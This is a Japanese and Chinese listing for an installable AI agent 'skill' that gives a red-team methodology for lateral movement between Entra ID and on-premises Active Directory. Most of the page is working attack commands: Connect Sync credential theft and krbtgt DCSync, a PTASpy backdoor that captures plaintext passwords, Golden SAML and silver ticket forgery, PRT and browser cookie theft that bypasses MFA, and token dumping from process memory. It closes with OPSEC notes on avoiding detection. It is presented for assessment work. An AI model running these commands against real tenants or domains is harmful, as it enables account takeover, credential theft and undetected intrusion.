azure-hybrid-lateral について
ハイブリッド ID 環境のレッドチーム評価と防御調査向けの方法論です。Entra ID とオンプレミス AD 間のラテラルムーブメントを、構成や認証情報の種類別に整理しています。
主な機能
- 01ハイブリッド ID 構成の識別
- 0214 種類のラテラルムーブメント手法
- 03前提条件に基づく手法選択ツリー
- 04ツールと OPSEC の要点
活用シーン
- 01クラウドから AD への移動リスク評価
- 02オンプレミス認証情報がクラウド資産に及ぼす影響の調査
- 03導入コンポーネントに基づくレッドチームテストの計画
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ wgpsec/ aboutsecurity --skill azure-hybrid-lateralインストール後、Claude Code で/azure-hybrid-lateralを入力して読み込まれたか確認します。
同梱ファイルreferences/identity-sync-attacks.mdreferences/token-credential-attacks.md
詳細
Azure ハイブリッド ID 横方向移動手法(Cloud <-> On-Prem)
現代の企業環境では、Azure/Entra ID とオンプレミスの Active Directory 間でハイブリッド ID アーキテクチャが広く普及しています。このアーキテクチャは利便性をもたらす一方で、独自の攻撃対象領域も生み出します。攻撃者はクラウド ID(Entra ID)を掌握すると、同期サービス、信頼関係、資格情報のブリッジ機構を利用してオンプレミス AD 環境へ侵入できます。逆も同様です。Cloud-to-OnPrem の横方向移動は、レッドチーム評価で最も重要な攻撃段階の一つであり、防御側が見落としやすい盲点でもあります。
重要なポイント:ハイブリッド ID アーキテクチャの各同期コンポーネント(Connect Sync、Cloud Sync、PTA Agent、Federation)は、横方向移動に利用される潜在的な橋渡し役です。攻撃者はまず、標的が使用しているハイブリッド ID アーキテクチャの種類を特定し、それに応じた横方向移動の手法を選ぶ必要があります。
詳細なリファレンス
具体的な攻撃クラスターを特定したら、対応するリファレンスドキュメントを読み込み、技術的な詳細を確認します。
- ID 同期関連の攻撃(Connect Sync/Cloud Sync/PTA/Federation/Domain Services/Arc) → references/identity-sync-attacks.md を参照
- トークンおよび資格情報関連の攻撃(PRT/Certificate/Cookie/Seamless SSO/Cloud Kerberos Trust/Exchange Hybrid) → references/token-credential-attacks.md を参照
横方向移動の判断ツリー
クラウドまたはオンプレミスの権限を取得した後、以下の判断ツリーに従って利用可能な横方向移動の手法を選択します。
混合身份架构识别
├─ 检测到 Azure AD Connect Sync(MSOL_* 账户存在)
│ ├─ 已控制 Connect Sync 服务器 → Connect Sync 凭据提取(DCSync)
│ ├─ 有 Entra ID GA 权限 + Password Writeback 启用 → 云端重置 AD 密码
│ └─ 检测到 Seamless SSO(AZUREADSSOACC$ 存在) → 银票伪造访问云端
│ → 读 references/identity-sync-attacks.md
│
├─ 检测到 Cloud Sync(provAgentgMSA 账户存在)
│ ├─ 已控制 gMSA 密码读取权限 → Cloud Sync gMSA 提取 + DCSync
│ └─ AD 用户同步到 Entra ID → 修改密码等待同步
│ → 读 references/identity-sync-attacks.md
│
├─ 检测到 PTA Agent(Pass-through Authentication)
│ ├─ 已控制 PTA 服务器 → 安装 PTASpy 后门(拦截所有密码 + 允许任意密码)
│ └─ 有 GA 权限 → 注册恶意 PTA Agent
│ → 读 references/identity-sync-attacks.md
│
├─ 检测到 Federation(AD FS 服务器存在)
│ ├─ 已控制 AD FS 服务器 → 提取 Token Signing 证书 → Golden SAML
│ └─ 有 Exchange Hybrid → ACS Actor Token 模拟
│ → 读 references/identity-sync-attacks.md
│
├─ 检测到 Cloud Kerberos Trust(AzureADKerberos$ 存在)
│ ├─ 有 GA/Hybrid Identity Admin 权限 → 修改用户 SID → Partial TGT → Full TGT
│ └─ 目标 MSOL 账户 → DCSync 全域
│ → 读 references/token-credential-attacks.md
│
├─ 检测到 Domain Services(AAD DC Administrators 组存在)
│ ├─ 有 Entra ID 权限 → 添加用户到 AAD DC Administrators → RDP 接管
│ └─ 托管域 → 密码哈希同步利用
│ → 读 references/identity-sync-attacks.md
│
├─ 检测到 Arc GPO 部署(AzureArcDeploy 共享目录存在)
│ ├─ 可创建/控制 AD 机器账户 → 解密 SP 密钥 → 云端接管
│ └─ → 读 references/identity-sync-attacks.md
│
├─ 已控制设备(Azure AD Joined/Hybrid Joined)
│ ├─ 设备有 PRT → Pass the PRT(提取 + 构造 PRT Cookie)
│ ├─ 设备有 PRT + NegoEx → Pass the Certificate
│ ├─ 浏览器有 Azure 会话 → Pass the Cookie(ESTSAUTH/ESTSAUTHPERSISTENT)
│ └─ 设备有云端应用(Excel/Teams)→ 内存中提取 JWT Token
│ → 读 references/token-credential-attacks.md
│
└─ 已获取用户凭据(密码/哈希/TGT)
├─ 用户已同步到 Entra ID → 直接登录云端
├─ 有 AZUREADSSOACC$ 哈希 → Seamless SSO 银票
└─ 有 KRBTGT 哈希 → Golden Ticket 后通过 Seamless SSO 访问云端
→ 读 references/token-credential-attacks.md
14 種類の横方向移動手法の概要
| # | 手法名 | 方向 | 前提条件 | 必要な権限 | 主なツール | 目立ちにくさ |
|---|---|---|---|---|---|---|
| 1 | Connect Sync 資格情報の抽出 | AD↔Cloud | Connect Sync サーバーへのアクセス | サーバーのローカル管理者 | AADInternals, adconnectdump | 中 |
| 2 | Cloud Sync gMSA の抽出 | AD→Cloud | Cloud Sync Agent の展開 | DC マシンアカウントのハッシュまたは gMSA 読み取り権限 | DSInternals, Mimikatz | 中 |
| 3 | PTA Agent のバックドア | Cloud→AD | PTA Agent サーバーへのアクセス | サーバーのローカル管理者 | AADInternals (PTASpy) | 低 |
| 4 | Federation / Golden SAML | AD→Cloud | AD FS サーバーへのアクセス | Domain Admin | ADFSDump, shimit, AADInternals | 高 |
| 5 | Domain Services | Cloud→AD | Domain Services の展開済み | Entra ID ユーザーの管理権限 | Azure Portal/CLI | 低 |
| 6 | Arc GPO スクリプトの注入 | AD→Cloud | Arc GPO の展開と共有へのアクセス | AD マシンアカウント | PowerShell (DPAPI-NG) | 中 |
| 7 | Pass the PRT | デバイス→Cloud | Azure AD Joined デバイスへのアクセス | ローカル管理者/ユーザー | Mimikatz, ROADtools, AADInternals | 高 |
| 8 | Pass the Certificate | デバイス→デバイス | PRT + NegoEx のサポート | PRT の抽出権限 | PrtToCert, AzureADJoinedMachinePTC | 高 |
| 9 | Pass the Cookie | ブラウザー→Cloud | ブラウザーセッションの存在 | ユーザーレベル(DPAPI の復号) | Mimikatz (dpapi::chrome) | 高 |
| 10 | Seamless SSO の銀のチケット | AD→Cloud | Seamless SSO の有効化 | AZUREADSSOACC$ のハッシュ | Mimikatz, SeamlessPass, Rubeus | 高 |
| 11 | Cloud Kerberos Trust | Cloud→AD | Cloud Kerberos Trust の有効化 | Global Admin / Hybrid Identity Admin | ROADtools Hybrid, Impacket | 高 |
| 12 | Exchange Hybrid の偽装 | AD→Cloud | Exchange Hybrid の展開 | Exchange サーバーへのアクセス | カスタム OAuth ツール | 中 |
| 13 | ローカルのクラウド資格情報の抽出 | デバイス→Cloud | エンドポイントデバイスへの侵入済み | ローカル管理者/ユーザー | WinPEAS, 手動検索 | 高 |
| 14 | Hybrid Misc(強制同期など) | AD↔Cloud | ハイブリッド ID 同期の有効化 | AD ユーザー属性の変更権限 | PowerShell, AADInternals | 中 |
第 1 グループ:ID 同期関連の攻撃
Connect Sync 資格情報の抽出
Azure AD Connect Sync は、インストール先のサーバーに MSOL_<installationID> アカウントを作成します。このアカウントはオンプレミス AD の DCSync(ディレクトリ複製)権限を持っています。資格情報は DPAPI で暗号化され、ローカル SQL データベース ADSync.mdf に保存されます。攻撃者は Connect Sync サーバーを掌握すると、MSOL アカウントのパスワードを抽出し、DCSync を実行してドメイン全体のハッシュを取得できます。
# 提取 Connect Sync 存储的凭据
Install-Module -Name AADInternals -RequiredVersion 0.9.0
Import-Module AADInternals
Get-AADIntSyncCredentials
# 使用 MSOL 账户执行 DCSync
runas /netonly /user:domain\MSOL_<id> cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
列挙:MSOL_*、Sync_*、ADSyncMSA* アカウントを検索し、Connect Sync の存在を確認します。
Cloud Sync gMSA 資格情報の抽出
Cloud Sync は、グループ管理サービスアカウント(gMSA)である provAgentgMSA を使用し、既定で DCSync 権限を持っています。gMSA のパスワードは通常、DC マシンアカウントのみが読み取れます。攻撃者はまず DC マシンアカウントのハッシュを取得し、そのアカウントになりすまして gMSA のパスワードを読み取る必要があります。
# 枚举 gMSA 账户
Get-ADServiceAccount -Filter * -Server domain.local
# 获取 DC 机器账户哈希后读取 gMSA 密码
$Passwordblob = (Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties msDS-ManagedPassword -server domain.local).'msDS-ManagedPassword'
$decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob
ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword
PTA Agent のバックドア
Pass-through Authentication Agent は、Azure AD キューから暗号化された資格情報を取得し、オンプレミス AD で検証します。攻撃者は PTA サーバーを掌握すると、バックドアをインストールしてすべての平文パスワードを傍受し、任意のパスワードを検証に通すことができます(Skeleton Key 攻撃と類似)。
# 安装 PTASpy 后门
Install-AADIntPTASpy
# 读取拦截到的明文密码
Get-AADIntPTASpyLog -DecodePasswords
# 移除后门
Remove-AADIntPTASpy
注意:GA 権限を取得した後、新しい PTA Agent を登録して永続化できます。
Federation / Golden SAML
AD FS は Token Signing 証明書を使って SAML Response に署名します。攻撃者はその秘密鍵を抽出すると、任意のユーザーの SAML トークンを偽造(Golden SAML)し、パスワードと MFA 認証を回避できます。証明書は自動的にローテーションされず、ユーザーパスワードを変更しても、すでに生成された SAML には影響しません。
# 从 AD FS 服务器导出 Token Signing 证书
Export-AADIntADFSSigningCertificate
# 使用 shimit 伪造 SAML Response
python shimit.py -idp http://adfs.domain.com/adfs/services/trust -pk key.pem -c cert.pem -u domain\admin -n [email protected] -r ADFS-admin -id 123456789012
Domain Services
Microsoft Entra Domain Services は、Azure にマネージド AD を展開します。AAD DC Administrators グループのメンバーは、ドメイン内 VM でローカル管理者権限を持ちます。攻撃者はユーザーをこのグループに追加するだけで、RDP を通じてドメイン内のすべての VM を掌握できます。
Arc GPO 展開スクリプトの注入
Azure Arc は GPO 展開スクリプトを使ってサーバーを Azure に接続します。Service Principal のキーは DPAPI-NG で暗号化され、ネットワーク共有に保存されます。攻撃者は AD マシンアカウントを作成または掌握すると、このキーを復号し、Service Principal として Azure にアクセスできます。
# 使用机器账户 TGT 解密 SP 密钥
Import-Module .\AzureArcDeployment.psm1
$encryptedSecret = Get-Content "\\share\AzureArcDeploy\encryptedServicePrincipalSecret"
$ebs = [DpapiNgUtil]::UnprotectBase64($encryptedSecret)
第 2 グループ:トークンおよび資格情報関連の攻撃
Pass the PRT
Primary Refresh Token(PRT)は、Azure AD デバイス上の有効期間の長い更新トークンで、Kerberos TGT に似ています。PRT とその Session Key は、LSASS の CloudAP プラグインにキャッシュされます。TPM のないデバイスではメモリから直接抽出できます。TPM を備えたデバイスでは、BrowserCore COM インターフェイスまたは WAM API を通じて間接的に PRT Cookie を取得できます。
# 从 LSASS 提取 PRT 和 Session Key(无 TPM)
privilege::debug
sekurlsa::cloudap
token::elevate
dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
# 生成 PRT Cookie
dpapi::cloudapkd /context:<ContextHex> /derivedkey:<DerivedKeyHex> /prt:<PRT>
# 使用 roadtx 续期 PRT
roadtx prt -a renew --prt <PRT> --prt-sessionkey <clear_key>
roadtx browserprtauth
非管理者の方法:BrowserCore COM(RequestAADRefreshToken.exe)または ROADtoken を使って、ユーザーレベルで PRT Cookie を取得します。
Pass the Certificate
PRT を使って Entra ID CA にユーザー P2P 証明書を要求し、その証明書で NegoEx 認証を行うことで、他の Azure AD Joined マシンにアクセスします。
# 请求 P2P 证书
RequestCert.py --tenantId <TenantID> --prt <PRT> --userName <User> --hexCtx <Ctx> --hexDerivedKey <Key>
# 使用证书访问远程机器
Main.py --usercert user.pfx --certpass <pass> --remoteip <target_ip>
Pass the Cookie
ブラウザーから Azure 認証 Cookie(ESTSAUTH、ESTSAUTHPERSISTENT)を抽出し、DPAPI で復号してブラウザーに注入すると、MFA を直接回避して Azure リソースにアクセスできます。
# 使用 Mimikatz 提取 Chrome Cookie
mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect" exit
# 将 ESTSAUTHPERSISTENT Cookie 注入浏览器 → 访问 login.microsoftonline.com
Seamless SSO シルバーチケット
Seamless SSO は AD に AZUREADSSOACC$ コンピューターアカウントを作成します。そのパスワードは変更されず、平文で Entra ID に送信されます。攻撃者はこのアカウントのハッシュを取得すると、任意の同期ユーザーになりすました Kerberos シルバーチケットを偽造し、クラウドリソースにアクセスできます。
# 提取 AZUREADSSOACC$ 哈希
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
# 使用 SeamlessPass 获取云端令牌
seamlesspass -tenant corp.com -adssoacc-ntlm <hash> -user-sid <SID>
# 或伪造银票
mimikatz.exe "kerberos::golden /user:<target> /sid:<domain_SID> /id:<RID> /domain:domain.local /rc4:<hash> /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt" exit
注意:AZUREADSSOACC$ のパスワードは変更されないため、一度抽出すれば長期にわたって悪用できます。シルバーチケットは MFA を回避しません。
Cloud Kerberos Trust
環境で Cloud Kerberos Trust が有効になっている場合、Entra ID は AD ユーザーに Partial TGT を発行できます。攻撃者は Global Admin 権限を持つと、Sync API を使用してハイブリッドユーザーの onPremisesSID を高権限の AD アカウント(MSOL 同期アカウントなど)に向けて変更し、Partial TGT を取得して DC 上で Full TGT に交換し、最終的に DCSync を実行できます。
# 修改混合用户的 on-prem SID 指向目标账户
python3 modifyuser.py -u <GA_UPN> -p <Password> --sourceanchor <ImmutableID> --sid <Target_SID> --sam <Target_SAM>
# 获取 PRT 中的 Partial TGT
roadtx getprt -u <HybridUser> -p <Password> -d <DeviceID>
# 将 Partial TGT 换为 Full TGT + NTLM 哈希
python3 partialtofulltgt.py -p roadtx.prt -o full_tgt.ccache --extract-hash
# DCSync
secretsdump.py 'DOMAIN/<TargetSAM>$@<DC_IP>' -hashes :<NTLM_hash>
Exchange Hybrid のなりすまし
旧バージョンの Exchange Hybrid 設計では、オンプレミスの Exchange は Exchange Online と同じ Entra アプリケーション ID を使用できます。攻撃者は Exchange サーバーから Hybrid 証明書の秘密鍵を抽出すると、ACS Actor Token を使用して任意のユーザーになりすまし、Exchange Online と SharePoint/OneDrive にアクセスできます。graph.windows.net のなりすまし経路は修正済みですが、ID 分離の移行が完了していない環境では、Exchange/SharePoint のなりすましは依然として有効です。
ローカルでのクラウド資格情報の抽出
エンドポイントデバイスに侵入すると、複数の場所からクラウド資格情報を抽出できます。
| 場所 | 資格情報の種類 | パス/方法 |
|---|---|---|
| Azure CLI | Access Token(平文) | C:\Users\<user>\.Azure\accessTokens.json |
| Azure PowerShell | Token Cache | C:\Users\<user>\.Azure\TokenCache.dat |
| Azure PowerShell | SP Secret(平文) | C:\Users\<user>\.Azure\AzureRmContext.json |
| プロセスメモリ | JWT Token(平文) | Excel/Teams プロセスメモリをダンプし、eyJ0 を grep |
| ブラウザー | Session Cookie | DPAPI でブラウザー Cookie ストレージを復号 |
# 从进程内存提取 JWT Token
strings excel.dmp | grep 'eyJ0'
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq
おすすめのツール
| ツール | 用途 | 適用シナリオ |
|---|---|---|
| AADInternals | Connect Sync/PTA/Seamless SSO/PRT 攻撃 | あらゆるハイブリッド ID 攻撃 |
| ROADtools (roadtx/roadrecon) | PRT 操作、Cloud Kerberos Trust、デバイス登録 | Cloud→OnPrem への侵入 |
| Mimikatz | PRT/Cookie/DPAPI/DCSync/シルバーチケット | 資格情報の抽出とチケットの偽造 |
| Rubeus | Kerberos チケット操作、S4U、シルバーチケット | Seamless SSO/RBCD 攻撃 |
| SeamlessPass | Seamless SSO のワンクリック悪用 | TGT/TGS/ハッシュ→クラウドトークン |
| adconnectdump | Connect Sync 資格情報のリモート抽出 | リモートからの Connect Sync 攻撃 |
| shimit | Golden SAML の偽造 | Federation 攻撃 |
| Impacket | DCSync/secretsdump/getST/addcomputer | AD の中核的な攻撃ツールセット |
| PrtToCert | PRT→P2P 証明書の生成 | Pass the Certificate |
| ROADtoken | ユーザーレベルの PRT Cookie の取得 | 非管理者による PRT の悪用 |
| DSInternals | gMSA パスワードの読み取り、NTDS.dit の解析 | Cloud Sync/Seamless SSO |
| WinPEAS | ローカル資格情報の自動検索 | ローカルのクラウド資格情報の検出 |
アーキテクチャ識別の列挙コマンド
# 检测 Connect Sync(从 AD 侧)
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" -Properties * | select SamAccountName,Description
Get-ADServiceAccount -Filter "SamAccountName -like 'ADSyncMSA*'"
# 检测 Cloud Sync(从 AD 侧)
Get-ADServiceAccount -Filter "ObjectClass -like 'msDS-GroupManagedServiceAccount'"
# 检测 Seamless SSO(从 AD 侧)
Get-ADComputer -Filter "SamAccountName -like 'AZUREADSSOACC$'"
# 检测 Cloud Kerberos Trust(从 AD 侧)
Get-ADComputer -Filter "SamAccountName -like 'AzureADKerberos$'"
# 检测 PTA Agent(从 Entra ID 侧)
az rest --url 'https://graph.microsoft.com/beta/onPremisesPublishingProfiles/authentication/agentGroups?$expand=agents'
# 检测 Cloud Sync Agent(从 Entra ID 侧)
az rest --method GET --uri "https://graph.microsoft.com/beta/onPremisesPublishingProfiles('provisioning')/agents/?\$expand=agentGroups"
# 检测同步配置(从 Entra ID 侧)
az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronization"
# 检测 Federation(从外部)
Import-Module AADInternals
Invoke-AADIntReconAsOutsider -Domain <domain> | Format-Table
運用上のセキュリティ(OPSEC)
- PTA バックドア:PTASpy は DLL インジェクション方式で動作し、サービスの再起動後は無効になります。
C:\PTASpyにフォルダーを作成すると、ファイルシステムに痕跡が残ります - Connect Sync 資格情報の抽出:
Get-AADIntSyncCredentialsは、SQL データベースへのアクセスにローカル管理者権限が必要ですが、操作自体はネットワークログを生成しません - Golden SAML:Token Signing 証明書は自動ローテーションされないため、攻撃者は長期にわたりトークンを偽造できます。検出には AD FS 証明書のエクスポートイベントを監視する必要があります
- PRT の抽出:
sekurlsa::cloudapは LSASS にアクセスするために SYSTEM 権限が必要であり、EDR/Sysmon の LSASS アクセスアラートが発生します - Seamless SSO シルバーチケット:
AZUREADSSOACC$のパスワードは変更されないため、一度抽出すると攻撃者は無期限にシルバーチケットを偽造できます - Cloud Kerberos Trust:ユーザーの onPremisesSID を変更しても、次回の同期サイクルで自動的に元に戻りますが、DCSync を完了するには十分な攻撃時間があります
- Password Writeback:AD ユーザーのパスワードを変更すると Entra ID の監査ログが生成されます。
adminCount=1のユーザー(Domain Admins など)は影響を受けません - GuardDuty に相当する機能:Azure では、Microsoft Defender for Identity と Microsoft Sentinel が対応する検出サービスです。DCSync や異常な Kerberos チケット要求などを監視します
相互参照
- Azure 環境全体の攻撃手順と初期アクセス方法については、
azure-pentestingスキルを参照してください - Entra ID の権限昇格と永続化の手法については、
azure-ad-attackスキルを参照してください